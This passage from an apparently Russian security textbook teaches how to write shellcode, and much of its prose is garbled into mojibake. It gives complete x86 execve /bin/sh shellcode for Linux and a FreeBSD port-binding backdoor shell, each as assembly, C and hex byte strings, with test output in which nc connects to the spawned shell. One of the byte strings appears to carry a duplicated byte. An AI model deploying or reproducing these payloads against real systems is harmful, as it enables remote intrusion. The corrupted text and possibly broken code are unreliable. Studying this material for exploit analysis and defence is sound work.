àðãóìåíò, òàê ÷òî áîëüøå ìû åãî èçìåíÿòü íå áóäåì. Èòàê, ïåðâûé è
òðåòèé àðãóìåíò execve ãîòîâû.

� Òåïåðü íàäî ïîäãîòîâèòü âòîðîé àðãóìåíò: ìàññèâ óêàçàòåëåé íà ñòðî-
êè. Ïåðâûé ýëåìåíò äîëæåí óêàçûâàòü íà èìÿ èñïîëíÿåìîé ïðîãðàì-
ìû. Àäðåñ åå íà÷àëà íàõîäèòñÿ ñåé÷àñ â ðåãèñòðå ESP, ñîõðàíèì åãî
â EBX (ñòðîêà 8). Çàòåì ïîìåñòèì çíà÷åíèå ðåãèñòðà EAX, êîòîðûé ñî-
äåðæèò íóëè, ïîñëå ñòðîêè «/bin/sh» (ñòðîêà 9), ýòî áóäåò ïðèçíàê
êîíöà ñòðîêè.

� Àäðåñ íà÷àëà «/bin/sh», çàâåðøàþùèéñÿ íóëåì, ñîõðàíèì â ðåãèñòðå
ECX (ñòðîêà 10). Òàêèì îáðàçîì, ïàìÿòü ïîñëå ýòîé ñòðîêè âûãëÿäèò
òàê: 0AAAA0000. Â ñòðîêå 7 ìû ïîìåñòèëè íîëü âñëåä çà ñòðîêîé. Ñèì-
âîëû A ïðåäñòàâëÿþò ñîáîé óêàçàòåëü íà íà÷àëî ñòðîêè «/bin/sh», îíè
áûëè çàïèñàíû â ñòðîêå 8, à çà íèìè íàõîäÿòñÿ íóëè, ïîìåùåííûå òóäà
â ñòðîêå 9. Ýòè íóëè ñëóæàò ïðèçíàêîì êîíöà ìàññèâà. Íà ïñåâäîêîäå
îáðàùåíèå ê ñèñòåìíîìó âûçîâó execve âûãëÿäèò òàê:

execve("óêàçàòåëü íà /bin/sh0", "óêàçàòåëü íà AAAA0000", 0);

� Â ñòðîêå 11 ìû çàíîñèì íîìåð ñèñòåìíîãî âûçîâà execve â Linux â ðå-
ãèñòð AL è â ñòðîêå 12 âûçûâàåì ÿäðî.

Примеры shell�кодов
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Ïðîòåñòèðóåì è ðàñïå÷àòàåì shell-êîä:

[twente@gabriel execve]# s-proc -p execve

/* Ñëåäóþùèé shell-êîä çàíèìàåò 34 áàéòà */

char shellcode[] =
"\xeb\x14\x5b\x31\xc0\x99\x88\x43\x07\x89\x5b\x08\x89\x43\x0c"
"\x8d\x4b\x08\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";

[twente@gabriel execve]# s-proc -e execve
Calling code...
sh-2.04#

Ðàáîòàåò, íî, ê ñîæàëåíèþ, ýòîò êîä ïî ñðàâíåíèþ ñ âàðèàíòîì äëÿ
FreeBSD ïîëó÷èëñÿ äîâîëüíî äëèííûì. Â ïðèìåðå 9.8 ïðåäñòàâëåíû äðóãèå
êîìàíäû äëÿ ðåàëèçàöèè çàïóñêà /bin/sh ñ ïîìîùüþ ñèñòåìíîãî âûçîâà execve.
Îñíîâíîå îòëè÷èå ñîñòîèò â òîì, ÷òî òåõíèêà jmp/call íå èñïîëüçóåòñÿ, ÷òî
ïðèâîäèò ê áîëåå ýôôåêòèâíîìó ðåøåíèþ. 

Пример 9.8. Пример 9.8. Пример 9.8. Пример 9.8. Пример 9.8. Реализация execve для Linux методом заталкивания аргументов
в стек
 1 BITS 32

 2 xor eax, eax

 3 cdq

 4 push eax

 5 push long 0x68732f2f

 6 push long 0x6e69622f

 7 mov ebx,esp

 8 push eax

 9 push ebx

10 mov ecx,esp

11 mov al,0x0b

12 int 0x80

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Êàê îáû÷íî, íà÷èíàåì ñ î÷èñòêè ðàáî÷èõ ðåãèñòðîâ. Ñíà÷àëà îáíóëÿåì

ðåãèñòð EAX ñ ïîìîùüþ êîìàíäû XOR, à çàòåì èñïîëüçóåì êîìàíäó
CDQ, ÷òîáû î÷èñòèòü è ðåãèñòð EDX. Â äàëüíåéøåì òðîãàòü EDX ìû
óæå íå ñòàíåì, ïîñêîëüêó îí áóäåò âûñòóïàòü â ðîëè òðåòüåãî àðãóìåíòà
ñèñòåìíîãî âûçîâà.

� Äàëåå ìû ñîçäàåì â ñòåêå ñòðîêó, çàòàëêèâàÿ ñíà÷àëà íóëü èç ðåãèñòðà
EAX (ïðèçíàê êîíöà ñòðîêè), à çàòåì ñàìó ñòðîêó «/bin/sh» (ñòðîêè 4, 5 è 6).
Àäðåñ íà÷àëà ñòðîêè ñîõðàíÿåòñÿ â ðåãèñòðå EBX (ñòðîêà 7). Òåïåðü ïåð-
âûé àðãóìåíò ãîòîâ.
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� Èìåÿ óêàçàòåëü íà íà÷àëî ñòðîêè, ìû ñòðîèì ìàññèâ. Ñíà÷àëà â ñòåê çà-
òàëêèâàåòñÿ EAX (ñëóæèò ïðèçíàêîì êîíöà ìàññèâà), à çàòåì àäðåñ ñòðî-
êè «/bin/sh» (ñòðîêà 9).

� Óêàçàòåëü íà ìàññèâ çàíîñèòñÿ â ðåãèñòð ECX, ýòî áóäåò âòîðîé àðãó-
ìåíò ñèñòåìíîãî âûçîâà.

� Âñå àðãóìåíòû ïîäãîòîâëåíû. Çàíîñèì íîìåð ñèñòåìíîãî âûçîâà â AL
è âûçûâàåì ÿäðî (ñòðîêè 11 è 12).

Îòêîìïèëèðóåì è ïðîòåñòèðóåì shell-êîä:

[gabriel@root execve]# s-proc -p execve

/* Ñëåäóþùèé shell-êîä çàíèìàåò 24 áàéòà */

char shellcode[] =
"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x53\x89\xe1\xb0\xb0\x0b\xcd\x80";

[gabriel@root execve]# s-proc -e execve
Calling code...
sh-2.04#

Ìàëî òîãî, ÷òî ýòîò êîä ðàáîòàåò, òàê îí åùå ñòàë íà 10 áàéòîâ êîðî÷å!

Примечание

Рекомендуем сейчас написать в качестве упражнения shell�код для
Linux, который с помощью системного вызова execve запускает коман�
ду /bin/sh �c date. Указание: затолкните аргументы в стек и помести�
те указатели на них в массив.

Shell3код для привязки к порту

Shell-êîä äëÿ ïðèâÿçêè ê ïîðòó ÷àñòî ïðèìåíÿåòñÿ äëÿ àòàêè íà óÿçâèìóþ
ïðîãðàììó, èñïîëíÿåìóþ íà óäàëåííîì êîìïüþòåðå. Òàêîé êîä îòêðûâàåò íå-
êèé ïîðò è âûïîëíÿåò èíòåðïðåòàòîð êîìàíä, êîãäà ïðèõîäèò çàïðîñ íà ñî-
åäèíåíèå ñ ýòèì ïîðòîì. Èíûìè ñëîâàìè, ïîäîáíûé shell-êîä ðåàëèçóåò ÷åð-
íûé õîä â ñèñòåìó.

Примечание

Будьте осторожны при выполнении shell�кода для привязки к порту.
Пока он работает, в вашу систему можно проникнуть с черного хода.

Примеры shell�кодов
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Ýòî ïåðâûé ïðèìåð, â êîòîðîì âû óâèäèòå, êàê ìîæíî ïîñëåäîâàòåëüíî
âûïîëíèòü íåñêîëüêî ñèñòåìíûõ âûçîâîâ è èñïîëüçîâàòü çíà÷åíèå, âîçâðà-
ùàåìîå îäíèì, â êà÷åñòâå âõîäíîãî àðãóìåíòà äëÿ äðóãîãî. Íàïèñàííàÿ íà C
ïðîãðàììà èç ïðèìåðà 9.9 äåëàåò êàê ðàç òî, ÷òî ìû õîòèì ðåàëèçîâàòü â shell-
êîäå äëÿ ïðèâÿçêè ê ïîðòó.

Пример 9.9. Пример 9.9. Пример 9.9. Пример 9.9. Пример 9.9. Привязка вызова оболочки к порту
 1 #include <unistd.h>

 2 #include <sys/socket.h>

 3 #include <netinet/in.h>

 4
 5 int soc, cli;

 6 struct sockaddr_in serv_addr;

 7
 8 int main()

 9 {

10   serv_addr.sin_family = 2;

11   serv_addr.sin_addr.s_addr = 0;

12   serv_addr.sin_port = 0xAAAA;

13   soc = socket(2,1,0);

14   bind(soc, (struct sockaddr *) &serv_addr, 0x10);

15   listen(soc, 1);

16   cli = accept(soc,0,0);

17   dup2(cli,0);

18   dup2(cli,1);

19   dup2(cli,2);

20   execve("/bin/sh",0,0);

21 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� ×òîáû ïðèâÿçàòü âûçîâ îáîëî÷êè ê ïîðòó, ìû äîëæíû ïîñëåäîâàòåëüíî

âûïîëíèòü ñèñòåìíûå  âûçîâû socket (ñòðîêà 13), bind (ñòðîêà 14), l isten
(ñòðîêà 15), accept (ñòðîêà 16), dup2 (ñòðîêè 17–19) è execve (ñòðîêà 20).

� Ñèñòåìíûé âûçîâ socket ñàìûé ïðîñòîé, òàê êàê âñå åãî àðãóìåíòû –
çàðàíåå èçâåñòíûå öåëûå ÷èñëà. Ïîñëå òîãî êàê îí âåðíåò óïðàâëåíèå,
íóæíî çàïîìíèòü âîçâðàùåííîå çíà÷åíèå, òàê êàê îíî áóäåò ïåðåäà-
íî  â êà÷åñòâå  àðãóìåíòà ñèñòåìíûì âûçîâàì bind, l isten è accept. Ñàìûì
ñëîæíûì ÿâëÿåòñÿ âûçîâ bind, ïîñêîëüêó îí òðåáóåò óêàçàòåëÿ íà ñòðóêòó-
ðó. Ñëåäîâàòåëüíî, íàì ïðåäñòîèò ñêîíñòðóèðîâàòü ýòó ñòðóêòóðó â ñòåêå
è ïîëó÷èòü óêàçàòåëü íà íåå òàê æå, êàê ìû äåëàëè ýòî äëÿ ñòðîê.

� Ïîñëå âûïîëíåíèÿ accept ìû ïîëó÷àåì äåñêðèïòîð íîâîãî ñîêåòà, ïî-
çâîëÿþùèé îáìåíèâàòüñÿ äàííûìè. Ïîñêîëüêó ìû õîòèì ïðåäîñòà-
âèòü òîìó, êòî ñ íàìè ñîåäèíèëñÿ, èíòåðàêòèâíóþ îáîëî÷êó, òî äóáëè-
ðóåì äåñêðèïòîðû stdin, stdout è stderr íà ñîêåò (ñòðîêè 17–19), à çàòåì
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âûçûâàåì ïðîãðàììó /bin/sh (ñòðîêà 20). Òåïåðü âñå äàííûå, ÷èòàåìûå
èç ñîêåòà, áóäóò ïåðåäàíû èíòåðïðåòàòîðó êîìàíä, à âñå, ÷òî îí âûâî-
äèò íà stdout è stderr, áóäåò çàïèñàíî â ñîêåò.

Àññåìáëåðíàÿ ïðîãðàììà èç ïðèìåðà 9.10 ïðèâÿçûâàåò îáîëî÷êó ê ïîðòó
â ñèñòåìå FreeBSD. Ýòîò êîä íåñêîëüêî îòëè÷àåòñÿ îò òîãî, ÷òî âû âèäåëè
âûøå. Íàïîìíèì, ÷òî â ñîîòâåòñòâèè ñ ñîãëàøåíèåì ÎÑ FreeBSD îæèäàåò,
÷òî ïîñëå àðãóìåíòîâ ñèñòåìíîãî âûçîâà â ñòåê áóäåò ïîìåùåíî åùå ÷åòû-
ðå áàéòà. Ýòè áàéòû îñòàíóòñÿ â ñòåêå ïîñëå âûïîëíåíèÿ âûçîâà. Ìû âîñ-
ïîëüçóåìñÿ ýòèìè áàéòàìè äëÿ ïåðåäà÷è íà÷àëüíûõ àðãóìåíòîâ ñëåäóþùåìó
ñèñòåìíîìó âûçîâó. Ïîñêîëüêó â shell-êîäå äëÿ ïðèâÿçêè ê ïîðòó âûïîëíÿåò-
ñÿ íåñêîëüêî ñèñòåìíûõ âûçîâîâ ïîäðÿä, òî òàêèì îáðàçîì íàì óäàñòñÿ çà-
ìåòíî ñýêîíîìèòü, à ïðèâåäåííûé íèæå êîä îêàçûâàåòñÿ, íàâåðíîå, ñàìûì
êîðîòêèì èç âñåõ âîçìîæíûõ äëÿ FreeBSD. Ïðàâäà, èç-çà òàêîé êðàòêîñòè åãî
òðóäíî ïîíÿòü, íî ìû îáúÿñíèì âñå ïîäðîáíî.

Пример 9.10. Пример 9.10. Пример 9.10. Пример 9.10. Пример 9.10. Shell*код для привязки к порту в FreeBSD
 1 BITS 32

 2 xor ecx, ecx

 3 xor eax, eax

 4 cdq

 5 push eax

 6 push byte 0x01

 7 push byte 0x02

 8 push eax

 9
10 mov al,97

11 int 0x80

12 xchg edx,eax

13 push 0xAAAA02AA

14 mov esi,esp

15 push byte 0x10

16 push esi

17 push edx

18 mov al,104

19 push byte 0x1

20 int 0x80

21 push edx

22 mov al,106

23 push ecx

24 int 0x80

25 push eax

26 push edx

27 cdq

28 mov al,30

29 push edx

Примеры shell�кодов
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30 int 0x80

31 mov cl,3

32 mov ebx,eax

33
34 l00p:

35 push ebx

36 mov al,90

37 inc edx

38 push edx

39 int 0x80

40 loop l00p

41
42 push ecx

43 push 0x68732f6e

44 push 0x69622f2f

45 mov ebx, esp

46 push ecx

47 push ecx

48 push ebx

49 push eax

50 mov al,59

51 int 0x80

Системный вызов socket

Ñèñòåìíûé âûçîâ socket ïðèìåíÿåòñÿ äëÿ ñîçäàíèÿ íîâîãî ñîêåòà. Àðãóìåíò
domain – ýòî àäðåñíîå ñåìåéñòâî, íàïðèìåð, AF_INET (â ñëó÷àå ïðîòîêîëà
IP). Âòîðîé àðãóìåíò – ýòî òèï ñîêåòà. Ìîæíî, íàïðèìåð, ñîçäàòü ïðîñòîé
ñîêåò äëÿ îòïðàâêè â ñåòü âðó÷íóþ ñêîíñòðóèðîâàííûõ ïàêåòîâ. Òðåòèé àðãó-
ìåíò protocol îïðåäåëÿåò, ïî êàêîìó ïðîòîêîëó áóäåò ïðîèñõîäèòü îáìåí äàí-
íûìè ÷åðåç ñîêåò, íàïðèìåð, ïî ïðîòîêîëó TCP.

 1 xor ecx, ecx

 2 xor eax, eax

 3 cdq

 4 push eax

 5 push byte 0x01

 6 push byte 0x02

 7 push eax

 8 mov al,97

 9 int 0x80

10 xchg edx,eax

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Ñèñòåìíûé âûçîâ socket íåñëîæåí, òàê êàê íóæíî ïåðåäàòü âñåãî òðè

öåëûõ ÷èñëà. Ñíà÷àëà â ñòðîêàõ 1 è 2 ìû îáíóëÿåì ðåãèñòðû EAX è ECX.
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Çàòåì ñ ïîìîùüþ êîìàíäû CDQ î÷èùàåì òàêæå ðåãèñòð EDX. Èñïîëü-
çîâàíèå CDQ âìåñòî «xor edx, edx» ïîçâîëÿåò ñýêîíîìèòü îäèí áàéò.

� Çàòåì ìû ïîìåùàåì â ñòåê àðãóìåíòû: ñíà÷àëà 0 (ñòðîêà 4), à çàòåì 1 è 2
(ñòðîêè 5 è 6). Âñëåä çà ýòèì åùå ðàç çàòàëêèâàåì EAX (âñïîìíèòå
î ïðèíÿòîì â FreeBSD ñîãëàøåíèè), çàíîñèì íîìåð ñèñòåìíîãî âûçîâà
socket â AL è âûçûâàåì ÿäðî (ñòðîêè 8 è 9). Âîçâðàùåííîå ÿäðîì çíà÷å-
íèå íàõîäèòñÿ â ðåãèñòðå EAX. Ñ ïîìîùüþ êîìàíäû XCHG ìû ïîìå-
ùàåì åãî â EDX. Ýòà êîìàíäà îáìåíèâàåò ñîäåðæèìîå äâóõ ðåãèñòðîâ,
òàê ÷òî â EAX îêàçûâàåòñÿ ïðåæíåå ñîäåðæèìîå EDX è íàîáîðîò. Ìû
ïîëüçóåìñÿ êîìàíäîé XCHG, à íå MOV, òàê êàê ïðè ýòîì òîæå ýêîíî-
ìèòñÿ îäèí áàéò.

� Òàê êàê â ñòðîêå 3 ìû ïðåäâàðèòåëüíî î÷èñòèëè ðåãèñòð EDX, òî òå-
ïåðü â EAX îêàæóòñÿ íóëè.

Системный вызов bind

Ýòîò ñèñòåìíûé âûçîâ àññîöèèðóåò ñ ñîêåòîì ëîêàëüíûé àäðåñ. Ïåðâûé àðãó-
ìåíò – ýòî äåñêðèïòîð, ïîëó÷åííûé îò ñèñòåìíîãî âûçîâà socket. Âòîðîé –
óêàçàòåëü íà ñòðóêòóðó, ñîäåðæàùóþ èäåíòèôèêàòîð ïðîòîêîëà, íîìåð ïîðòà
è ëîêàëüíûé IP-àäðåñ.

1 push 0xAAAA02AA

2 mov esi,esp

3 push byte 0x10

4 push esi

5 push edx

6 mov al,104

7 push byte 0x1

8 int 0x80

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 7 êîäà äëÿ âûçîâà socket ìû çàòîëêíóëè â ñòåê çíà÷åíèå ðåãèñò-

ðà EAX. Îíî âñå åùå òàì íàõîäèòñÿ, òàê ÷òî ìîæíî âîñïîëüçîâàòüñÿ
èì äëÿ õðàíåíèÿ àäðåñà ñòðóêòóðû sockaddr. Íà ÿçûêå C ýòà ñòðóêòóðà
îïèñûâàåòñÿ òàê:

struct sockaddr_in {
       uint8_t        sin_len;
       sa_family_t    sin_family;
       in_port_t      sin_port;
       struct in_addr sin_addr;
       char           sin_zero[8];
};

Примеры shell�кодов
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� ×òîáû âûçîâ bind ñðàáîòàë, ìû ïîìåñòèì â ñòåê EAX, çàòåì êîíñòàíòó
0xAAAA (èëè 43690 â äåñÿòè÷íîé ñèñòåìå), òî åñòü íîìåð ïîðòà (sin_port),
çàòåì 02 (sin_family) è ïîäõîäÿùåå çíà÷åíèå sin_len (â äàííîì ñëó÷àå
0xAA).

� Ñòðóêòóðà óæå íàõîäèòñÿ â ñòåêå, òàê ÷òî ìîæíî ñîõðàíèòü òåêóùèé
óêàçàòåëü ñòåêà â ðåãèñòðå ESI è íà÷àòü çàòàëêèâàòü â ñòåê àðãóìåíòû.
Íàì íóæíî ïîìåñòèòü êîíñòàíòó 0x10, çàòåì óêàçàòåëü íà ñòðóêòóðó è
çàòåì çíà÷åíèå, ïîëó÷åííîå îò ñèñòåìíîãî âûçîâà socket (ñòðîêà 5). Àð-
ãóìåíòû ïîäãîòîâëåíû, îñòàëîñü çàíåñòè â AL íîìåð ñèñòåìíîãî âûçî-
âà bind è âûçâàòü ÿäðî. Íî ïðåäâàðèòåëüíî ìû åùå ïîìåñòèì â ñòåê
êîíñòàíòó 0x1, ÷òîáû óäîâëåòâîðèòü ñîãëàøåíèþ. Ýòî çíà÷åíèå âûá-
ðàíî íå ïðîèçâîëüíî, îíî â äàëüíåéøåì ñòàíåò ïîñëåäíèì àðãóìåí-
òîì ñëåäóþùåãî  ñèñòåìíîãî  âûçîâà, òî  åñòü l isten.

Системный вызов listen

Ïîñëå òîãî êàê ïðîòîêîë è íîìåð ïîðòà àññîöèèðîâàí ñ ñîêåòîì , ìîæíî
âûçûâàòü l isten, ÷òîáû ïåðåâåñòè ñîêåò â ðåæèì ïðîñëóøèâàíèÿ ïîðòà. Â êà÷å-
ñòâå àðãóìåíòîâ ïåðåäàåòñÿ äåñêðèïòîð ñîêåòà è ìàêñèìàëüíàÿ äëèíà î÷åðåäè
âõîäÿùèõ ñîåäèíåíèé ê ýòîìó ñîêåòó. Åñëè äëèíà î÷åðåäè ðàâíà 1, è ïîñòóïèò
äâà çàïðîñà, òî îäèí áóäåò ïîñòàâëåí â î÷åðåäü, à äðóãîé îòâåðãíóò.

1 push edx

2 mov al,106

3 push ecx

4 int 0x80

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Ìû ïîìåùàåì â ñòåê çíà÷åíèå ðåãèñòðà EDX, êîòîðûé âñå åùå ñîäåð-

æèò ïîëó÷åííûé îò socket äåñêðèïòîð, è çàíîñèì â AL íîìåð ñèñòåìíî-
ãî âûçîâà. Çàòåì çàòàëêèâàåì â ñòåê ECX, ïî-ïðåæíåìó ðàâíûé íóëþ,
è âûçûâàåì ÿäðî. Íàõîäÿùååñÿ â ñòåêå çíà÷åíèå ECX ñòàíåò ïîñëåäíèì
àðãóìåíòîì äëÿ ñëåäóþùåãî ñèñòåìíîãî âûçîâà.

Системный вызов accept

Ýòîò ñèñòåìíûé âûçîâ ïðèìåíÿåòñÿ äëÿ òîãî, ÷òîáû ïðèíÿòü ñîåäèíåíèå, êàê
òîëüêî ïîñòóïèò çàïðîñ. Îí âîçâðàùàåò äåñêðèïòîð íîâîãî ñîêåòà, ÷åðåç êî-
òîðûé ìîæíî îáìåíèâàòüñÿ äàííûìè.

Ïåðâûì àðãóìåíòîì accept äîëæåí áûòü äåñêðèïòîð ñîêåòà, âòîðûì – óêàçà-
òåëü íà ñòðóêòóðó òèïà sockaddr èëè NULL. Åñëè âòîðîé àðãóìåíò îòëè÷åí îò
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íóëÿ, òî ÿäðî ïîìåñòèò â íåãî èíôîðìàöèþ îá óäàëåííîì êëèåíòå, ïðèñëàâ-
øåì çàïðîñ. Òàêèì îáðàçîì, ìîæíî, íàïðèìåð, ïîëó÷èòü IP-àäðåñ êëèåíòà.
Ïðè ýòîì â îáëàñòü ïàìÿòè, íà êîòîðóþ óêàçûâàåò òðåòèé àðãóìåíò, áóäåò çà-
ïèñàíî ÷èñëî áàéòîâ, ïîìåùåííûõ â ñòðóêòóðó sockaddr.

1 push eax

2 push edx

3 cdq

4 mov al,30

5 push edx

6 int 0x80

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Åñëè âûçîâ l isten çàâåðøèëñÿ óñïåøíî, òî  â ðåãèñòðå  EAX áóäåò íàõî-

äèòüñÿ 0. Ñëåäîâàòåëüíî, ìîæíî ïîìåñòèòü çíà÷åíèå ýòîãî ðåãèñòðà
â ñòåê, ãäå îíî ñòàíåò âòîðûì àðãóìåíòîì accept.

� Çàòåì ìû â ïîñëåäíèé ðàç ïîìåùàåì â ñòåê õðàíÿùèéñÿ â EDX äåñê-
ðèïòîð ñîêåòà. Ïîñêîëüêó ñåé÷àñ EAX ñîäåðæèò íóëè, à äëÿ ñëåäóþùåãî
ñèñòåìíîãî âûçîâà íàì ïîòðåáóåòñÿ ÷èñòûé ðåãèñòð EDX, ïîëüçóåìñÿ
êîìàíäîé CDQ.

� Ïîñëå òîãî êàê âñå ïîäãîòîâëåíî, çàíîñèì íîìåð ñèñòåìíîãî âûçîâà
â AL, çàòàëêèâàåì EDX â ñòåê, ÷òîáû íå íàðóøàòü ñîãëàøåíèÿ, à çàîäíî
ïîäãîòîâèòü àðãóìåíò äëÿ ñëåäóþùåãî ñèñòåìíîãî âûçîâà è âûçûâàåì
ÿäðî.

Системный вызов dup2

Ñèñòåìíûé âûçîâ dup2 ñëóæèò äëÿ äóáëèðîâàíèÿ äåñêðèïòîðîâ. Â ïðîãðàì-
ìå íà C èëè C++ åãî ïðîòîòèï òàêîâ: dup2(int oldfilehandle, int newfilehandle).
Ïîñëå âûçîâà äåñêðèïòîð newfilehandle ññûëàåòñÿ íà òîò æå ôàéë, ÷òî è old-
filehandle.

 1 mov cl,3

 2 mov ebx,eax

 3
 4 l00p:

 5 push ebx

 6 mov al,90

 7 inc edx

 8 push edx

 9 int 0x80

10 loop l00p

Примеры shell�кодов
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ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Ïîñêîëüêó íóæíî âûçâàòü dup2 òðèæäû ñ îäíèì è òåì æå ïåðâûì àðãó-

ìåíòîì, òî ìû ìîæåì ñýêîíîìèòü, âîñïîëüçîâàâøèñü öèêëîì. Ïðè èñ-
ïîëüçîâàíèè êîìàíäû loop â ðåãèñòð CL äîëæíî áûòü çàíåñåíî ÷èñòî
èòåðàöèé. Ïîñëå êàæäîé èòåðàöèè çíà÷åíèå CL óìåíüøàåòñÿ íà 1, ïîêà íå
ñòàíåò ðàâíûì íóëþ. Â ýòîò ìîìåíò öèêë çàâåðøàåòñÿ. Ïîñêîëüêó ìû äîë-
æíû âûïîëíèòü òðè âûçîâà dup2, ïîìåùàåì â CL êîíñòàíòó 3 (ñòðîêà 1).

� Çàòåì ñîõðàíÿåì ïîëó÷åííîå îò accept çíà÷åíèå â ðåãèñòðå EBX (ñòðîêà 2).
� Òåïåðü àðãóìåíòû äëÿ dup2 íàõîäÿòñÿ â ðåãèñòðàõ EBX è EDX. Íàïîì-

íèì, ÷òî ïîñëå ïðåäûäóùåãî ñèñòåìíîãî âûçîâà ìû óæå ïîìåñòèëè
EDX â ñòåê. È, çíà÷èò, ïðè ïåðâîì ïðîõîæäåíèè öèêëà íóæíî ïîìåñ-
òèòü â ñòåê òîëüêî EBX (ñòðîêà 5).

� Ïîñëå ýòîãî çàíîñèì â AL íîìåð ñèñòåìíîãî âûçîâà dup2 è óâåëè÷èâà-
åì EDX íà 1 (ñòðîêà 7). Ýòî äåëàåòñÿ ïîòîìó, ÷òî âòîðîé àðãóìåíò dup2
äîëæåí ïðåäñòàâëÿòü stdin íà ïåðâîé èòåðàöèè, stdout – íà âòîðîé
è stderr – íà òðåòüåé.

� Óâåëè÷èâ EDX, ïîìåùàåì åãî â ñòåê (ñòðîêà 8), ÷òîáû ÿäðî áûëî ñ÷à-
ñòëèâî, à çàîäíî ãîòîâÿ âòîðîé àðãóìåíò äëÿ ñëåäóþùåãî âûçîâà dup2.

Системный вызов execve

Äëÿ çàïóñêà ïðîãðàììû èñïîëüçóåì âñåìîãóùèé ñèñòåìíûé âûçîâ execve. Åãî
ïåðâûé àðãóìåíò – ýòî ïîëíûé ïóòü ê èñïîëíÿåìîé ïðîãðàììå, âòîðîé –
ìàññèâ, ñîäåðæàùèé èìÿ ïðîãðàììû è åå ïàðàìåòðû, à ïîñëåäíèé – ìàññèâ
ïåðåìåííûõ îêðóæåíèÿ.

 1 push ecx

 2 push 0x68732f6e

 3 push 0x69622f2f

 4 mov ebx, esp

 5 push ecx

 6 push ecx

 7 push ebx

 8 push eax

 9 mov al,59

10 int 0x80

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Äëÿ íà÷àëà çàòàëêèâàåì â ñòåê ïóòü ê ïðîãðàììå – ñòðîêó «/bin/sh».

Åñëè èñïîëüçîâàòü äëÿ ýòîé öåëè òåõíèêó jmp/call, òî shell-êîä ïîëó÷èò-
ñÿ ñëèøêîì äëèííûì.
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Òåïåðü ìîæíî ïðîâåðèòü ðàáîòîñïîñîáíîñòü íàøåãî êîäà, îòòðàíñëèðî-
âàâ åãî è âûïîëíèâ ñ ïîìîùüþ óòèëèòû s-proc:

Òåðìèíàë 1:

bash-2.05b$ nasm -o bind bind.S
bash-2.05b$ s-proc -p bind
Calling code...

Òåðìèíàë 2:

bash-2.05b$ nc 127.0.0.1 43690
uptime
 1:14PM up 23 hrs, 8 users, load averages: 1.02, 0.52, 0.63
exit
bash-2.05b$

Òðàññèðîâêà ñèñòåìíûõ âûçîâîâ ïîêàçûâàåò, ÷òî âñå âûïîëíÿåòñÿ, êàê çà-
äóìàíî:

bash-2.05b$ ktrace s-proc -e bind
Calling code...
bash-2.05b$ kdump | more
— ïðîïóùåíî —
4650 s_proc  CALL  socket(0x2,0x1,0)
4650 s_proc  RET   socket 3
4650 s_proc  CALL  bind(0x3,0xbfbffa88,0x10)
4650 s_proc  RET   bind 0
4650 s_proc  CALL  listen(0x3,0x1)
4650 s_proc  RET   listen 0
4650 s_proc  CALL  accept(0x3,0,0)
4650 s_proc  RET   accept 4
4650 s_proc  CALL  dup2(0x4,0)
4650 s_proc  RET   dup2 0
4650 s_proc  CALL  dup2(0x4,0x1)
4650 s_proc  RET   dup2 1
4650 s_proc  CALL  dup2(0x4,0x2)
4650 s_proc  RET   dup2 2
4650 s_proc  CALL  execve(0xbfbffa40,0,0)
4650 s_proc  NAMI  "//bin/sh"
— ïðîïóùåíî —

Åñëè ïðåîáðàçîâàòü äâîè÷íûé êîä, ñãåíåðèðîâàííûé â ðåçóëüòàòå òðàíñëÿ-
öèè àññåìáëåðíîé ïðîãðàììû, â ñòðîêó, òî ïîëó÷èì ñëåäóþùèé shell-êîä:

bash-2.05b$ s-proc -p bind

/* Ñëåäóþùèé shell-êîä çàíèìàåò 81 áàéòîâ */
char shellcode[] =

"\x31\xc9\x31\xc0\x99\x50\x6a\x01\x6a\x02\x50\xb0\x61\xcd\x80"

Примеры shell�кодов
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"\x92\x68\xaa\x02\xaa\xaa\x89\xe6\x6a\x10\x56\x52\xb0\x68\x6a"
"\x01\xcd\x80\x52\xb0\x6a\x51\xcd\x80\x50\x52\x99\xb0\x1e\x52"
"\xcd\x80\xb1\x03\x89\xc3\x53\xb0\x5a\x42\x52\xcd\x80\xe2\xf7"
"\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x51"
"\x53\x50\xb0\x3b\xcd\x80";

Àíàëîãè÷íûé shell-êîä äëÿ Linux ñèëüíî îòëè÷àåòñÿ îò îïèñàííîãî âûøå.
Â Linux  ôóíêöèè socket, bind, l isten è accept ðåàëèçóþòñÿ îäíèì ñèñòåìíûì
âûçîâîì socketcall. Ïðè ýòîì ïîëó÷àþùèéñÿ shell-êîä îêàçûâàåòñÿ íåñêîëüêî
äëèííåå, ÷åì äëÿ FreeBSD. Â ñòðàíèöå ðóêîâîäñòâà ïî âûçîâó socketcall îïèñàí
åãî ïðîòîòèï:

int socketcall(int call, unsigned long *args);

Êàê âèäèì, ñèñòåìíîìó âûçîâó socketcall íóæíî ïåðåäàòü äâà àðãóìåíòà.
Ïåðâûé – ýòî èäåíòèôèêàòîð íóæíîé ôóíêöèè. Â çàãîëîâî÷íîì ôàéëå net.h
äëÿ Linux ïåðå÷èñëåíû âñå èìåþùèåñÿ ôóíêöèè:

SYS_SOCKET 1
SYS_BIND 2
SYS_CONNECT 3
SYS_LISTEN 4
SYS_ACCEPT 5
SYS_GETSOCKNAME 6
SYS_GETPEERNAME 7
SYS_SOCKETPAIR 8
SYS_SEND 9
SYS_RECV 10
SYS_SENDTO 11
SYS_RECVFROM 12
SYS_SHUTDOWN 13
SYS_SETSOCKOPT 14
SYS_GETSOCKOPT 15
SYS_SENDMSG 16
SYS_RECVMSG 17

Âòîðîé àðãóìåíò socketcall – ýòî óêàçàòåëü íà ñïèñîê àðãóìåíòîâ, ïåðåäàâà-
åìûõ çàäàííîé ôóíêöèè. Òàê, ÷òîáû âûïîëíèòü socket(2,1,0), íóæíî íàïèñàòü
